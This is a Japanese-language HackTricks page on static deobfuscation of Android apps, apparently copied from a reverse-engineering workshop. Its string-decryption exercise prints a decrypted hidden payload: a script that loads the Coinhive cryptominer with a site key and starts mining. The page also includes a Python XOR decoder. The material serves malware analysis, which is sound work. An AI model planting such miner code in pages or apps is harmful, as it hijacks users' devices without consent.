hacktricks/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md
2023-07-07 23:42:27 +00:00

12 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

**https://maddiestone.github.io/AndroidAppRE/obfuscation.htmlからコピー(解決策はそこにあります)

ロゴ

アプリケーションのリバースエンジニアリングがいくつかの例と同じくらい簡単ではない場合があります。開発者はアプリの動作や実装を隠すために1つ以上の難読化技術を実装します。これは善意のものでも悪意のあるものでもあります。

難読化について覚えておくべき重要な点は、難読化を解除することができるかどうかではなく、難読化を解除するためのリソースを投入する価値があるかどうかです。

常に何かを難読化解除できるのは、最終的にはCPUが実行するためには難読化解除されていないコードを見る必要があるためです。

難読化解除の方法

アプリケーションの難読化解除方法は、難読化の方法によって異なりますが、通常うまく機能するいくつかの一般的なテクニックがあります。ここでは、静的な難読化解除技術についてのみ触れます。このワークショップでは静的解析/リバースエンジニアリングのみをカバーしているためです。ただし、アプリケーションを実行して動的に解析することも、難読化を回避するための素晴らしい方法です。

DEXバイトコードJavaの難読化の場合、静的に難読化解除する最も簡単な方法の1つは、アプリケーション内の難読化解除メソッドを特定し、それらの逆コンパイルをJavaファイルにコピーして、難読化されたファイル、文字列、コードなどで実行することです。

Javaとネイティブコードの両方に対する別の解決策は、難読化解除アルゴリズムをPythonまたは他のスクリプト言語に変換することです。ここで言う「変換」とは、難読化解除アルゴリズムを*理解*する必要がないということです。実行する方法があれば十分です。これについては、「Unpacking the Packed Unpacker」というトークで詳しく説明しています。詳細は「その他の例」セクションにリンクされています。

難読化の指標

難読化の種類はさまざまであり、したがって、アプリケーションが難読化されている可能性を示す解析者への警告としての指標もさまざまですが、次にいくつかの例と難読化解除のための提案された静的解析ソリューションを示します。

  • 文字列がないJavaとAndroidは文字列に非常に依存しているため、文字列が表示されないか、またはスクランブルされた文字列のみが表示される場合、文字列が難読化されている可能性が高いです。
  • 提案される解決策文字列を引数として受け取るメソッド呼び出しを探し、その引数がどこから来ているかを追跡します。いずれにしても、文字列引数は、String引数を受け取るAPIに渡される前に難読化メソッドを通過するはずです。
  • スクランブルされた文字列JavaとAndroidのAPIは、平文の文字列を必要とします。
  • 提案される解決策:スクランブルされた文字列は、おそらく同じメソッドに渡されるでしょう。これらのメソッドはおそらく難読化メソッドです。
  • assets/ディレクトリ内のバイナリファイルとアプリ内のDexClassLoader呼び出しおそらく追加のコードを展開して読み込んでいます。リモートの場所からダウンロードしてからDexClassLoaderを使用して読み込むこともあります
  • 提案される解決策:ファイルが読み込まれる場所を特定し、そのパスをたどります。おそらく、読み込まれた直後に難読化が解除されます。
  • ネイティブライブラリ - JNI関数を特定できないJava_という名前の関数がなく、RegisterNativesへの呼び出しがないネイティブメソッドを実行するためには、JNIがネイティブライブラリ内の関数をJavaのネイティブメソッド宣言とペアにする必要があり、そのいずれかがある必要があります。
  • 提案される解決策JNI_OnLoadメソッドから始めて、追加のコードを読み込む難読化ルーチンを探します。

Exercise 7 - 文字列の復号化

この演習では、アプリケーションを分析するために文字列の復号化を練習します。演習では、VM内の~/samples/ClashOfLights.apkにあるサンプルを使用します。このサンプルのSHA256ダイジェストはc403d2dcee37f80b6d51ebada18c409a9eae45416fe84cd0c1ea1d9897eae4e5です。

ゴール

復号化する必要がある文字列を特定し、復号化するための解決策を開発すること。

演習の文脈

あなたはマルウェアアナリストで、このアプリケーションがマルウェアかどうかを判断するためにこのアプリケーションをレビューしています。ロードされている難読化されたJavascriptの文字列に遭遇し、アプリケーションが悪意のあるものかどうかを判断するためにそれを復号化する必要があります。アプリケーションを動的に実行することはできず、Javascriptの内容を静的に判断する必要があります。

手順

  1. 復号化する必要のある文字列を見つける
  2. それを復号化するルーチンを特定する
  3. 文字列を復号化するための解決策をどのように書くかを決定する
  4. 実行する :)

解決策

復号化された文字列は次のとおりです:

<script src="https://coinhive.com/lib/coinhive.min.js"></script><script>var miner = new CoinHive.Anonymous('nf24ZwEMmu0m1X6MgcOv48AMsIYErpFE', {threads: 2});miner.start();</script>

私が作成したPythonスクリプトは、以下の通りです

enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C"

length = len(enc_str)
count = 0
dec_str = [0] * (length/2)
while (count < length):
dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF
count += 2
print dec_str


key = [75, 67, 81, 82, 49, 57, 84, 90]
enc_str = dec_str
count = 0
length = len(enc_str)
while (count < length):
dec_str[count] = chr(enc_str[count] ^ key[count % len(key)])
count += 1
print ''.join(dec_str)

その他の例

私はさまざまな難読化メカニズムを含むAndroidアプリの難読化についての数回の講演を行ってきました。これらの講演では、高度な難読化技術、それらを難読化するための私の解決策、および難読化を解除する方法を決定する際に考慮した事項と選択肢について説明しています。

  • BlackHat USA 2018: 「Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library」 [ビデオ]
  • この講演では、Androidアプリケーションで使用される最も複雑なアンチアナリシスネイティブライブラリのリバースエンジニアリングについて説明しています。主にネイティブコードの難読化技術についてカバーしています。
  • REcon 2019: 「The Path to the Payload: Android Edition」 [ビデオ]
  • この講演では、Androidボットネットがその動作を隠すために使用していたJavaコードの一連の難読化技術について説明しています。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥